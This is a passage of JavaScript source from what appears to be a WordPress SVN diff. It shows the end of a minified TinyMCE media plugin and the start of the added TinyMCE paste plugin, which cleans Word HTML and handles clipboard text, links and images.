u=e,l=S.createFragment(u),""!==S.getAttrib(l.firstChild,"data-ephox-embed-iri")?k(e,t):(i=e,a=t,o=r,c=_(),p({validate:!1,allow_conditional_comments:!(s=0),special:"script,noscript",comment:function(e){c.comment(e)},cdata:function(e){c.cdata(e)},text:function(e,t){c.text(e,t)},start:function(e,t,r){switch(e){case"video":case"object":case"embed":case"img":case"iframe":a.height!==undefined&&a.width!==undefined&&F(t,{width:a.width,height:a.height})}if(o)switch(e){case"video":F(t,{poster:a.poster,src:""}),a.source2&&F(t,{src:""});break;case"iframe":F(t,{src:a.source1});break;case"source":if(++s<=2&&(F(t,{src:a["source"+s],type:a["source"+s+"mime"]}),!a["source"+s]))return;break;case"img":if(!a.poster)return;n=!0}c.start(e,t,r)},end:function(e){if("video"===e&&o)for(var t=1;t<=2;t++)if(a["source"+t]){var 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i=v.extend({},e);if(!i.source1&&(v.extend(i,j(w(r),i.embed)),!i.source1))return"";i.source2||(i.source2=""),i.poster||(i.poster=""),i.source1=r.convertURL(i.source1,"source"),i.source2=r.convertURL(i.source2,"source"),i.source1mime=M(i.source1),i.source2mime=M(i.source2),i.poster=r.convertURL(i.poster,"poster");var t,a,o=(t=i.source1,0<(a=N.filter(function(e){return e.regex.test(t)})).length?v.extend({},a[0],{url:function(e,t){for(var r=e.regex.exec(t),i=e.url,a=function(e){i=i.replace("$"+e,function(){return r[e]?r[e]:""})},o=0;o<r.length;o++)a(o);return i.replace(/\?$/,"")}(a[0],t)}):null);if(o&&(i.source1=o.url,i.type=o.type,i.allowFullscreen=o.allowFullscreen,i.width=i.width||o.w,i.height=i.height||o.h),i.embed)return A(i.embed,i,!0);var n=x(w(r),i.source1);n&&(i.type="script",i.width=n.width,i.height=n.height);var c,s,u,l,m,d,h,p,f=b(r),g=y(r);return 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i,a,o,n,c;for(n=(o=t.attributes).length;n--;)i=o[n].name,a=o[n].value,"width"!==i&&"height"!==i&&"style"!==i&&("data"!==i&&"src"!==i||(a=e.convertURL(a,i)),r.attr("data-mce-p-"+i,a));(c=t.firstChild&&t.firstChild.value)&&(r.attr("data-mce-html",escape(Q(e,c))),r.firstChild=null)},ee=function(e){for(;e=e.parent;)if(e.attr("data-ephox-embed-iri"))return!0;return!1},te=function(a){return function(e){for(var t,r,i=e.length;i--;)(t=e[i]).parent&&(t.parent.attr("data-mce-object")||("script"!==t.name||(r=x(w(a),t.attr("src"))))&&(r&&(r.width&&t.attr("width",r.width.toString()),r.height&&t.attr("height",r.height.toString())),"iframe"===t.name&&n(a)&&o.ceFalse?ee(t)||t.replace(Y(a,t)):ee(t)||t.replace(X(a,t))))}},re=function(d){d.on("preInit",function(){var t=d.schema.getSpecialElements();v.each("video audio iframe object".split(" "),function(e){t[e]=new RegExp("</"+e+"[^>]*>","gi")});var r=d.schema.getBoolAttrs();v.each("webkitallowfullscreen mozallowfullscreen allowfullscreen".split(" "),function(e){r[e]={}}),d.parser.addNodeFilter("iframe,video,audio,object,embed,script",te(d)),d.serializer.addAttributeFilter("data-mce-object",function(e,t){for(var r,i,a,o,n,c,s,u,l=e.length;l--;)if((r=e[l]).parent){for(s=r.attr(t),i=new K(s,1),"audio"!==s&&"script"!==s&&((u=r.attr("class"))&&-1!==u.indexOf("mce-preview-object")?i.attr({width:r.firstChild.attr("width"),height:r.firstChild.attr("height")}):i.attr({width:r.attr("width"),height:r.attr("height")})),i.attr({style:r.attr("style")}),a=(o=r.attributes).length;a--;){var m=o[a].name;0===m.indexOf("data-mce-p-")&&i.attr(m.substr(11),o[a].value)}"script"===s&&i.attr("type","text/javascript"),(n=r.attr("data-mce-html"))&&((c=new K("#text",3)).raw=!0,c.value=Q(d,unescape(n)),i.append(c)),r.replace(i)}})}),d.on("setContent",function(){d.$("span.mce-preview-object").each(function(e,t){var r=d.$(t);0===r.find("span.mce-shim",t).length&&r.append('<span class="mce-shim"></span>')})})},ie=function(e){e.on("ResolveName",function(e){var t;1===e.target.nodeType&&(t=e.target.getAttribute("data-mce-object"))&&(e.name=t)})},ae=function(t){t.on("click keyup",function(){var e=t.selection.getNode();e&&t.dom.hasClass(e,"mce-preview-object")&&t.dom.getAttrib(e,"data-mce-selected")&&e.setAttribute("data-mce-selected","2")}),t.on("ObjectSelected",function(e){var t=e.target.getAttribute("data-mce-object");"audio"!==t&&"script"!==t||e.preventDefault()}),t.on("objectResized",function(e){var t,r=e.target;r.getAttribute("data-mce-object")&&(t=r.getAttribute("data-mce-html"))&&(t=unescape(t),r.setAttribute("data-mce-html",escape(A(t,{width:e.width,height:e.height}))))})},oe=function(e){e.addButton("media",{tooltip:"Insert/edit media",cmd:"mceMedia",stateSelector:["img[data-mce-object]","span[data-mce-object]","div[data-ephox-embed-iri]"]}),e.addMenuItem("media",{icon:"media",text:"Media",cmd:"mceMedia",context:"insert",prependToContext:!0})};e.add("media",function(e){return q(e),oe(e),ie(e),re(e),ae(e),G(e)})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/paste/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/paste/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/paste/plugin.js	(revision 56912)
@@ -0,0 +1,1497 @@
+(function () {
+var paste = (function () {
+  'use strict';
+
+  var Cell = function (initial) {
+    var value = initial;
+    var get = function () {
+      return value;
+    };
+    var set = function (v) {
+      value = v;
+    };
+    var clone = function () {
+      return Cell(get());
+    };
+    return {
+      get: get,
+      set: set,
+      clone: clone
+    };
+  };
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var hasProPlugin = function (editor) {
+    if (/(^|[ ,])powerpaste([, ]|$)/.test(editor.settings.plugins) && global.get('powerpaste')) {
+      if (typeof window.console !== 'undefined' && window.console.log) {
+        window.console.log('PowerPaste is incompatible with Paste plugin! Remove \'paste\' from the \'plugins\' option.');
+      }
+      return true;
+    } else {
+      return false;
+    }
+  };
+  var $_15bf6siejjgwect1 = { hasProPlugin: hasProPlugin };
+
+  var get = function (clipboard, quirks) {
+    return {
+      clipboard: clipboard,
+      quirks: quirks
+    };
+  };
+  var $_6gtliyigjjgwecte = { get: get };
+
+  var firePastePreProcess = function (editor, html, internal, isWordHtml) {
+    return editor.fire('PastePreProcess', {
+      content: html,
+      internal: internal,
+      wordContent: isWordHtml
+    });
+  };
+  var firePastePostProcess = function (editor, node, internal, isWordHtml) {
+    return editor.fire('PastePostProcess', {
+      node: node,
+      internal: internal,
+      wordContent: isWordHtml
+    });
+  };
+  var firePastePlainTextToggle = function (editor, state) {
+    return editor.fire('PastePlainTextToggle', { state: state });
+  };
+  var firePaste = function (editor, ieFake) {
+    return editor.fire('paste', { ieFake: ieFake });
+  };
+  var $_8tki3zijjjgwectj = {
+    firePastePreProcess: firePastePreProcess,
+    firePastePostProcess: firePastePostProcess,
+    firePastePlainTextToggle: firePastePlainTextToggle,
+    firePaste: firePaste
+  };
+
+  var shouldPlainTextInform = function (editor) {
+    return editor.getParam('paste_plaintext_inform', true);
+  };
+  var shouldBlockDrop = function (editor) {
+    return editor.getParam('paste_block_drop', false);
+  };
+  var shouldPasteDataImages = function (editor) {
+    return editor.getParam('paste_data_images', false);
+  };
+  var shouldFilterDrop = function (editor) {
+    return editor.getParam('paste_filter_drop', true);
+  };
+  var getPreProcess = function (editor) {
+    return editor.getParam('paste_preprocess');
+  };
+  var getPostProcess = function (editor) {
+    return editor.getParam('paste_postprocess');
+  };
+  var getWebkitStyles = function (editor) {
+    return editor.getParam('paste_webkit_styles');
+  };
+  var shouldRemoveWebKitStyles = function (editor) {
+    return editor.getParam('paste_remove_styles_if_webkit', true);
+  };
+  var shouldMergeFormats = function (editor) {
+    return editor.getParam('paste_merge_formats', true);
+  };
+  var isSmartPasteEnabled = function (editor) {
+    return editor.getParam('smart_paste', true);
+  };
+  var isPasteAsTextEnabled = function (editor) {
+    return editor.getParam('paste_as_text', false);
+  };
+  var getRetainStyleProps = function (editor) {
+    return editor.getParam('paste_retain_style_properties');
+  };
+  var getWordValidElements = function (editor) {
+    var defaultValidElements = '-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,' + '-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,' + 'td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody';
+    return editor.getParam('paste_word_valid_elements', defaultValidElements);
+  };
+  var shouldConvertWordFakeLists = function (editor) {
+    return editor.getParam('paste_convert_word_fake_lists', true);
+  };
+  var shouldUseDefaultFilters = function (editor) {
+    return editor.getParam('paste_enable_default_filters', true);
+  };
+  var $_xr8b0ikjjgwectl = {
+    shouldPlainTextInform: shouldPlainTextInform,
+    shouldBlockDrop: shouldBlockDrop,
+    shouldPasteDataImages: shouldPasteDataImages,
+    shouldFilterDrop: shouldFilterDrop,
+    getPreProcess: getPreProcess,
+    getPostProcess: getPostProcess,
+    getWebkitStyles: getWebkitStyles,
+    shouldRemoveWebKitStyles: shouldRemoveWebKitStyles,
+    shouldMergeFormats: shouldMergeFormats,
+    isSmartPasteEnabled: isSmartPasteEnabled,
+    isPasteAsTextEnabled: isPasteAsTextEnabled,
+    getRetainStyleProps: getRetainStyleProps,
+    getWordValidElements: getWordValidElements,
+    shouldConvertWordFakeLists: shouldConvertWordFakeLists,
+    shouldUseDefaultFilters: shouldUseDefaultFilters
+  };
+
+  var shouldInformUserAboutPlainText = function (editor, userIsInformedState) {
+    return userIsInformedState.get() === false && $_xr8b0ikjjgwectl.shouldPlainTextInform(editor);
+  };
+  var displayNotification = function (editor, message) {
+    editor.notificationManager.open({
+      text: editor.translate(message),
+      type: 'info'
+    });
+  };
+  var togglePlainTextPaste = function (editor, clipboard, userIsInformedState) {
+    if (clipboard.pasteFormat.get() === 'text') {
+      clipboard.pasteFormat.set('html');
+      $_8tki3zijjjgwectj.firePastePlainTextToggle(editor, false);
+    } else {
+      clipboard.pasteFormat.set('text');
+      $_8tki3zijjjgwectj.firePastePlainTextToggle(editor, true);
+      if (shouldInformUserAboutPlainText(editor, userIsInformedState)) {
+        displayNotification(editor, 'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.');
+        userIsInformedState.set(true);
+      }
+    }
+    editor.focus();
+  };
+  var $_2j7vw7iijjgwecti = { togglePlainTextPaste: togglePlainTextPaste };
+
+  var register = function (editor, clipboard, userIsInformedState) {
+    editor.addCommand('mceTogglePlainTextPaste', function () {
+      $_2j7vw7iijjgwecti.togglePlainTextPaste(editor, clipboard, userIsInformedState);
+    });
+    editor.addCommand('mceInsertClipboardContent', function (ui, value) {
+      if (value.content) {
+        clipboard.pasteHtml(value.content, value.internal);
+      }
+      if (value.text) {
+        clipboard.pasteText(value.text);
+      }
+    });
+  };
+  var $_fldd1mihjjgwecth = { register: register };
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.Env');
+
+  var global$2 = tinymce.util.Tools.resolve('tinymce.util.Delay');
+
+  var global$3 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var global$4 = tinymce.util.Tools.resolve('tinymce.util.VK');
+
+  var internalMimeType = 'x-tinymce/html';
+  var internalMark = '<!-- ' + internalMimeType + ' -->';
+  var mark = function (html) {
+    return internalMark + html;
+  };
+  var unmark = function (html) {
+    return html.replace(internalMark, '');
+  };
+  var isMarked = function (html) {
+    return html.indexOf(internalMark) !== -1;
+  };
+  var $_4x13hjirjjgwecu1 = {
+    mark: mark,
+    unmark: unmark,
+    isMarked: isMarked,
+    internalHtmlMime: function () {
+      return internalMimeType;
+    }
+  };
+
+  var global$5 = tinymce.util.Tools.resolve('tinymce.html.Entities');
+
+  var isPlainText = function (text) {
+    return !/<(?:\/?(?!(?:div|p|br|span)>)\w+|(?:(?!(?:span style="white-space:\s?pre;?">)|br\s?\/>))\w+\s[^>]+)>/i.test(text);
+  };
+  var toBRs = function (text) {
+    return text.replace(/\r?\n/g, '<br>');
+  };
+  var openContainer = function (rootTag, rootAttrs) {
+    var key;
+    var attrs = [];
+    var tag = '<' + rootTag;
+    if (typeof rootAttrs === 'object') {
+      for (key in rootAttrs) {
+        if (rootAttrs.hasOwnProperty(key)) {
+          attrs.push(key + '="' + global$5.encodeAllRaw(rootAttrs[key]) + '"');
+        }
+      }
+      if (attrs.length) {
+        tag += ' ' + attrs.join(' ');
+      }
+    }
+    return tag + '>';
+  };
+  var toBlockElements = function (text, rootTag, rootAttrs) {
+    var blocks = text.split(/\n\n/);
+    var tagOpen = openContainer(rootTag, rootAttrs);
+    var tagClose = '</' + rootTag + '>';
+    var paragraphs = global$3.map(blocks, function (p) {
+      return p.split(/\n/).join('<br />');
+    });
+    var stitch = function (p) {
+      return tagOpen + p + tagClose;
+    };
+    return paragraphs.length === 1 ? paragraphs[0] : global$3.map(paragraphs, stitch).join('');
+  };
+  var convert = function (text, rootTag, rootAttrs) {
+    return rootTag ? toBlockElements(text, rootTag, rootAttrs) : toBRs(text);
+  };
+  var $_4h3hnrisjjgwecu2 = {
+    isPlainText: isPlainText,
+    convert: convert,
+    toBRs: toBRs,
+    toBlockElements: toBlockElements
+  };
+
+  var global$6 = tinymce.util.Tools.resolve('tinymce.html.DomParser');
+
+  var global$7 = tinymce.util.Tools.resolve('tinymce.html.Node');
+
+  var global$8 = tinymce.util.Tools.resolve('tinymce.html.Schema');
+
+  var global$9 = tinymce.util.Tools.resolve('tinymce.html.Serializer');
+
+  function filter(content, items) {
+    global$3.each(items, function (v) {
+      if (v.constructor === RegExp) {
+        content = content.replace(v, '');
+      } else {
+        content = content.replace(v[0], v[1]);
+      }
+    });
+    return content;
+  }
+  function innerText(html) {
+    var schema = global$8();
+    var domParser = global$6({}, schema);
+    var text = '';
+    var shortEndedElements = schema.getShortEndedElements();
+    var ignoreElements = global$3.makeMap('script noscript style textarea video audio iframe object', ' ');
+    var blockElements = schema.getBlockElements();
+    function walk(node) {
+      var name$$1 = node.name, currentNode = node;
+      if (name$$1 === 'br') {
+        text += '\n';
+        return;
+      }
+      if (shortEndedElements[name$$1]) {
+        text += ' ';
+      }
+      if (ignoreElements[name$$1]) {
+        text += ' ';
+        return;
+      }
+      if (node.type === 3) {
+        text += node.value;
+      }
+      if (!node.shortEnded) {
+        if (node = node.firstChild) {
+          do {
+            walk(node);
+          } while (node = node.next);
+        }
+      }
+      if (blockElements[name$$1] && currentNode.next) {
+        text += '\n';
+        if (name$$1 === 'p') {
+          text += '\n';
+        }
+      }
+    }
+    html = filter(html, [/<!\[[^\]]+\]>/g]);
+    walk(domParser.parse(html));
+    return text;
+  }
+  function trimHtml(html) {
+    function trimSpaces(all, s1, s2) {
+      if (!s1 && !s2) {
+        return ' ';
+      }
+      return '\xA0';
+    }
+    html = filter(html, [
+      /^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/ig,
+      /<!--StartFragment-->|<!--EndFragment-->/g,
+      [
+        /( ?)<span class="Apple-converted-space">\u00a0<\/span>( ?)/g,
+        trimSpaces
+      ],
+      /<br class="Apple-interchange-newline">/g,
+      /<br>$/i
+    ]);
+    return html;
+  }
+  function createIdGenerator(prefix) {
+    var count = 0;
+    return function () {
+      return prefix + count++;
+    };
+  }
+  var isMsEdge = function () {
+    return navigator.userAgent.indexOf(' Edge/') !== -1;
+  };
+  var $_4bi2o9j0jjgwecui = {
+    filter: filter,
+    innerText: innerText,
+    trimHtml: trimHtml,
+    createIdGenerator: createIdGenerator,
+    isMsEdge: isMsEdge
+  };
+
+  function isWordContent(content) {
+    return /<font face="Times New Roman"|class="?Mso|style="[^"]*\bmso-|style='[^'']*\bmso-|w:WordDocument/i.test(content) || /class="OutlineElement/.test(content) || /id="?docs\-internal\-guid\-/.test(content);
+  }
+  function isNumericList(text) {
+    var found, patterns;
+    patterns = [
+      /^[IVXLMCD]{1,2}\.[ \u00a0]/,
+      /^[ivxlmcd]{1,2}\.[ \u00a0]/,
+      /^[a-z]{1,2}[\.\)][ \u00a0]/,
+      /^[A-Z]{1,2}[\.\)][ \u00a0]/,
+      /^[0-9]+\.[ \u00a0]/,
+      /^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/,
+      /^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/
+    ];
+    text = text.replace(/^[\u00a0 ]+/, '');
+    global$3.each(patterns, function (pattern) {
+      if (pattern.test(text)) {
+        found = true;
+        return false;
+      }
+    });
+    return found;
+  }
+  function isBulletList(text) {
+    return /^[\s\u00a0]*[\u2022\u00b7\u00a7\u25CF]\s*/.test(text);
+  }
+  function convertFakeListsToProperLists(node) {
+    var currentListNode, prevListNode, lastLevel = 1;
+    function getText(node) {
+      var txt = '';
+      if (node.type === 3) {
+        return node.value;
+      }
+      if (node = node.firstChild) {
+        do {
+          txt += getText(node);
+        } while (node = node.next);
+      }
+      return txt;
+    }
+    function trimListStart(node, regExp) {
+      if (node.type === 3) {
+        if (regExp.test(node.value)) {
+          node.value = node.value.replace(regExp, '');
+          return false;
+        }
+      }
+      if (node = node.firstChild) {
+        do {
+          if (!trimListStart(node, regExp)) {
+            return false;
+          }
+        } while (node = node.next);
+      }
+      return true;
+    }
+    function removeIgnoredNodes(node) {
+      if (node._listIgnore) {
+        node.remove();
+        return;
+      }
+      if (node = node.firstChild) {
+        do {
+          removeIgnoredNodes(node);
+        } while (node = node.next);
+      }
+    }
+    function convertParagraphToLi(paragraphNode, listName, start) {
+      var level = paragraphNode._listLevel || lastLevel;
+      if (level !== lastLevel) {
+        if (level < lastLevel) {
+          if (currentListNode) {
+            currentListNode = currentListNode.parent.parent;
+          }
+        } else {
+          prevListNode = currentListNode;
+          currentListNode = null;
+        }
+      }
+      if (!currentListNode || currentListNode.name !== listName) {
+        prevListNode = prevListNode || currentListNode;
+        currentListNode = new global$7(listName, 1);
+        if (start > 1) {
+          currentListNode.attr('start', '' + start);
+        }
+        paragraphNode.wrap(currentListNode);
+      } else {
+        currentListNode.append(paragraphNode);
+      }
+      paragraphNode.name = 'li';
+      if (level > lastLevel && prevListNode) {
+        prevListNode.lastChild.append(currentListNode);
+      }
+      lastLevel = level;
+      removeIgnoredNodes(paragraphNode);
+      trimListStart(paragraphNode, /^\u00a0+/);
+      trimListStart(paragraphNode, /^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/);
+      trimListStart(paragraphNode, /^\u00a0+/);
+    }
+    var elements = [];
+    var child = node.firstChild;
+    while (typeof child !== 'undefined' && child !== null) {
+      elements.push(child);
+      child = child.walk();
+      if (child !== null) {
+        while (typeof child !== 'undefined' && child.parent !== node) {
+          child = child.walk();
+        }
+      }
+    }
+    for (var i = 0; i < elements.length; i++) {
+      node = elements[i];
+      if (node.name === 'p' && node.firstChild) {
+        var nodeText = getText(node);
+        if (isBulletList(nodeText)) {
+          convertParagraphToLi(node, 'ul');
+          continue;
+        }
+        if (isNumericList(nodeText)) {
+          var matches = /([0-9]+)\./.exec(nodeText);
+          var start = 1;
+          if (matches) {
+            start = parseInt(matches[1], 10);
+          }
+          convertParagraphToLi(node, 'ol', start);
+          continue;
+        }
+        if (node._listLevel) {
+          convertParagraphToLi(node, 'ul', 1);
+          continue;
+        }
+        currentListNode = null;
+      } else {
+        prevListNode = currentListNode;
+        currentListNode = null;
+      }
+    }
+  }
+  function filterStyles(editor, validStyles, node, styleValue) {
+    var outputStyles = {}, matches;
+    var styles = editor.dom.parseStyle(styleValue);
+    global$3.each(styles, function (value, name) {
+      switch (name) {
+      case 'mso-list':
+        matches = /\w+ \w+([0-9]+)/i.exec(styleValue);
+        if (matches) {
+          node._listLevel = parseInt(matches[1], 10);
+        }
+        if (/Ignore/i.test(value) && node.firstChild) {
+          node._listIgnore = true;
+          node.firstChild._listIgnore = true;
+        }
+        break;
+      case 'horiz-align':
+        name = 'text-align';
+        break;
+      case 'vert-align':
+        name = 'vertical-align';
+        break;
+      case 'font-color':
+      case 'mso-foreground':
+        name = 'color';
+        break;
+      case 'mso-background':
+      case 'mso-highlight':
+        name = 'background';
+        break;
+      case 'font-weight':
+      case 'font-style':
+        if (value !== 'normal') {
+          outputStyles[name] = value;
+        }
+        return;
+      case 'mso-element':
+        if (/^(comment|comment-list)$/i.test(value)) {
+          node.remove();
+          return;
+        }
+        break;
+      }
+      if (name.indexOf('mso-comment') === 0) {
+        node.remove();
+        return;
+      }
+      if (name.indexOf('mso-') === 0) {
+        return;
+      }
+      if ($_xr8b0ikjjgwectl.getRetainStyleProps(editor) === 'all' || validStyles && validStyles[name]) {
+        outputStyles[name] = value;
+      }
+    });
+    if (/(bold)/i.test(outputStyles['font-weight'])) {
+      delete outputStyles['font-weight'];
+      node.wrap(new global$7('b', 1));
+    }
+    if (/(italic)/i.test(outputStyles['font-style'])) {
+      delete outputStyles['font-style'];
+      node.wrap(new global$7('i', 1));
+    }
+    outputStyles = editor.dom.serializeStyle(outputStyles, node.name);
+    if (outputStyles) {
+      return outputStyles;
+    }
+    return null;
+  }
+  var filterWordContent = function (editor, content) {
+    var retainStyleProperties, validStyles;
+    retainStyleProperties = $_xr8b0ikjjgwectl.getRetainStyleProps(editor);
+    if (retainStyleProperties) {
+      validStyles = global$3.makeMap(retainStyleProperties.split(/[, ]/));
+    }
+    content = $_4bi2o9j0jjgwecui.filter(content, [
+      /<br class="?Apple-interchange-newline"?>/gi,
+      /<b[^>]+id="?docs-internal-[^>]*>/gi,
+      /<!--[\s\S]+?-->/gi,
+      /<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,
+      [
+        /<(\/?)s>/gi,
+        '<$1strike>'
+      ],
+      [
+        /&nbsp;/gi,
+        '\xA0'
+      ],
+      [
+        /<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,
+        function (str, spaces) {
+          return spaces.length > 0 ? spaces.replace(/./, ' ').slice(Math.floor(spaces.length / 2)).split('').join('\xA0') : '';
+        }
+      ]
+    ]);
+    var validElements = $_xr8b0ikjjgwectl.getWordValidElements(editor);
+    var schema = global$8({
+      valid_elements: validElements,
+      valid_children: '-li[p]'
+    });
+    global$3.each(schema.elements, function (rule) {
+      if (!rule.attributes.class) {
+        rule.attributes.class = {};
+        rule.attributesOrder.push('class');
+      }
+      if (!rule.attributes.style) {
+        rule.attributes.style = {};
+        rule.attributesOrder.push('style');
+      }
+    });
+    var domParser = global$6({}, schema);
+    domParser.addAttributeFilter('style', function (nodes) {
+      var i = nodes.length, node;
+      while (i--) {
+        node = nodes[i];
+        node.attr('style', filterStyles(editor, validStyles, node, node.attr('style')));
+        if (node.name === 'span' && node.parent && !node.attributes.length) {
+          node.unwrap();
+        }
+      }
+    });
+    domParser.addAttributeFilter('class', function (nodes) {
+      var i = nodes.length, node, className;
+      while (i--) {
+        node = nodes[i];
+        className = node.attr('class');
+        if (/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(className)) {
+          node.remove();
+        }
+        node.attr('class', null);
+      }
+    });
+    domParser.addNodeFilter('del', function (nodes) {
+      var i = nodes.length;
+      while (i--) {
+        nodes[i].remove();
+      }
+    });
+    domParser.addNodeFilter('a', function (nodes) {
+      var i = nodes.length, node, href, name;
+      while (i--) {
+        node = nodes[i];
+        href = node.attr('href');
+        name = node.attr('name');
+        if (href && href.indexOf('#_msocom_') !== -1) {
+          node.remove();
+          continue;
+        }
+        if (href && href.indexOf('file://') === 0) {
+          href = href.split('#')[1];
+          if (href) {
+            href = '#' + href;
+          }
+        }
+        if (!href && !name) {
+          node.unwrap();
+        } else {
+          if (name && !/^_?(?:toc|edn|ftn)/i.test(name)) {
+            node.unwrap();
+            continue;
+          }
+          node.attr({
+            href: href,
+            name: name
+          });
+        }
+      }
+    });
+    var rootNode = domParser.parse(content);
+    if ($_xr8b0ikjjgwectl.shouldConvertWordFakeLists(editor)) {
+      convertFakeListsToProperLists(rootNode);
+    }
+    content = global$9({ validate: editor.settings.validate }, schema).serialize(rootNode);
+    return content;
+  };
+  var preProcess = function (editor, content) {
+    return $_xr8b0ikjjgwectl.shouldUseDefaultFilters(editor) ? filterWordContent(editor, content) : content;
+  };
+  var $_dfatuiivjjgwecu8 = {
+    preProcess: preProcess,
+    isWordContent: isWordContent
+  };
+
+  var processResult = function (content, cancelled) {
+    return {
+      content: content,
+      cancelled: cancelled
+    };
+  };
+  var postProcessFilter = function (editor, html, internal, isWordHtml) {
+    var tempBody = editor.dom.create('div', { style: 'display:none' }, html);
+    var postProcessArgs = $_8tki3zijjjgwectj.firePastePostProcess(editor, tempBody, internal, isWordHtml);
+    return processResult(postProcessArgs.node.innerHTML, postProcessArgs.isDefaultPrevented());
+  };
+  var filterContent = function (editor, content, internal, isWordHtml) {
+    var preProcessArgs = $_8tki3zijjjgwectj.firePastePreProcess(editor, content, internal, isWordHtml);
+    if (editor.hasEventListeners('PastePostProcess') && !preProcessArgs.isDefaultPrevented()) {
+      return postProcessFilter(editor, preProcessArgs.content, internal, isWordHtml);
+    } else {
+      return processResult(preProcessArgs.content, preProcessArgs.isDefaultPrevented());
+    }
+  };
+  var process = function (editor, html, internal) {
+    var isWordHtml = $_dfatuiivjjgwecu8.isWordContent(html);
+    var content = isWordHtml ? $_dfatuiivjjgwecu8.preProcess(editor, html) : html;
+    return filterContent(editor, content, internal, isWordHtml);
+  };
+  var $_3scw66iujjgwecu4 = { process: process };
+
+  var pasteHtml = function (editor, html) {
+    editor.insertContent(html, {
+      merge: $_xr8b0ikjjgwectl.shouldMergeFormats(editor),
+      paste: true
+    });
+    return true;
+  };
+  var isAbsoluteUrl = function (url) {
+    return /^https?:\/\/[\w\?\-\/+=.&%@~#]+$/i.test(url);
+  };
+  var isImageUrl = function (url) {
+    return isAbsoluteUrl(url) && /.(gif|jpe?g|png)$/.test(url);
+  };
+  var createImage = function (editor, url, pasteHtmlFn) {
+    editor.undoManager.extra(function () {
+      pasteHtmlFn(editor, url);
+    }, function () {
+      editor.insertContent('<img src="' + url + '">');
+    });
+    return true;
+  };
+  var createLink = function (editor, url, pasteHtmlFn) {
+    editor.undoManager.extra(function () {
+      pasteHtmlFn(editor, url);
+    }, function () {
+      editor.execCommand('mceInsertLink', false, url);
+    });
+    return true;
+  };
+  var linkSelection = function (editor, html, pasteHtmlFn) {
+    return editor.selection.isCollapsed() === false && isAbsoluteUrl(html) ? createLink(editor, html, pasteHtmlFn) : false;
+  };
+  var insertImage = function (editor, html, pasteHtmlFn) {
+    return isImageUrl(html) ? createImage(editor, html, pasteHtmlFn) : false;
+  };
+  var smartInsertContent = function (editor, html) {
+    global$3.each([
+      linkSelection,
+      insertImage,
+      pasteHtml
+    ], function (action) {
+      return action(editor, html, pasteHtml) !== true;
+    });
+  };
+  var insertContent = function (editor, html) {
+    if ($_xr8b0ikjjgwectl.isSmartPasteEnabled(editor) === false) {
+      pasteHtml(editor, html);
+    } else {
+      smartInsertContent(editor, html);
+    }
+  };
+  var $_d8pzpej1jjgwecum = {
+    isImageUrl: isImageUrl,
+    isAbsoluteUrl: isAbsoluteUrl,
+    insertContent: insertContent
+  };
+
+  var pasteHtml$1 = function (editor, html, internalFlag) {
+    var internal = internalFlag ? internalFlag : $_4x13hjirjjgwecu1.isMarked(html);
+    var args = $_3scw66iujjgwecu4.process(editor, $_4x13hjirjjgwecu1.unmark(html), internal);
+    if (args.cancelled === false) {
+      $_d8pzpej1jjgwecum.insertContent(editor, args.content);
+    }
+  };
+  var pasteText = function (editor, text) {
+    text = editor.dom.encode(text).replace(/\r\n/g, '\n');
+    text = $_4h3hnrisjjgwecu2.convert(text, editor.settings.forced_root_block, editor.settings.forced_root_block_attrs);
+    pasteHtml$1(editor, text, false);
+  };
+  var getDataTransferItems = function (dataTransfer) {
+    var items = {};
+    var mceInternalUrlPrefix = 'data:text/mce-internal,';
+    if (dataTransfer) {
+      if (dataTransfer.getData) {
+        var legacyText = dataTransfer.getData('Text');
+        if (legacyText && legacyText.length > 0) {
+          if (legacyText.indexOf(mceInternalUrlPrefix) === -1) {
+            items['text/plain'] = legacyText;
+          }
+        }
+      }
+      if (dataTransfer.types) {
+        for (var i = 0; i < dataTransfer.types.length; i++) {
+          var contentType = dataTransfer.types[i];
+          try {
+            items[contentType] = dataTransfer.getData(contentType);
+          } catch (ex) {
+            items[contentType] = '';
+          }
+        }
+      }
+    }
+    return items;
+  };
+  var getClipboardContent = function (editor, clipboardEvent) {
+    var content = getDataTransferItems(clipboardEvent.clipboardData || editor.getDoc().dataTransfer);
+    return $_4bi2o9j0jjgwecui.isMsEdge() ? global$3.extend(content, { 'text/html': '' }) : content;
+  };
+  var hasContentType = function (clipboardContent, mimeType) {
+    return mimeType in clipboardContent && clipboardContent[mimeType].length > 0;
+  };
+  var hasHtmlOrText = function (content) {
+    return hasContentType(content, 'text/html') || hasContentType(content, 'text/plain');
+  };
+  var getBase64FromUri = function (uri) {
+    var idx;
+    idx = uri.indexOf(',');
+    if (idx !== -1) {
+      return uri.substr(idx + 1);
+    }
+    return null;
+  };
+  var isValidDataUriImage = function (settings, imgElm) {
+    return settings.images_dataimg_filter ? settings.images_dataimg_filter(imgElm) : true;
+  };
+  var extractFilename = function (editor, str) {
+    var m = str.match(/([\s\S]+?)\.(?:jpeg|jpg|png|gif)$/i);
+    return m ? editor.dom.encode(m[1]) : null;
+  };
+  var uniqueId = $_4bi2o9j0jjgwecui.createIdGenerator('mceclip');
+  var pasteImage = function (editor, rng, reader, blob) {
+    if (rng) {
+      editor.selection.setRng(rng);
+      rng = null;
+    }
+    var dataUri = reader.result;
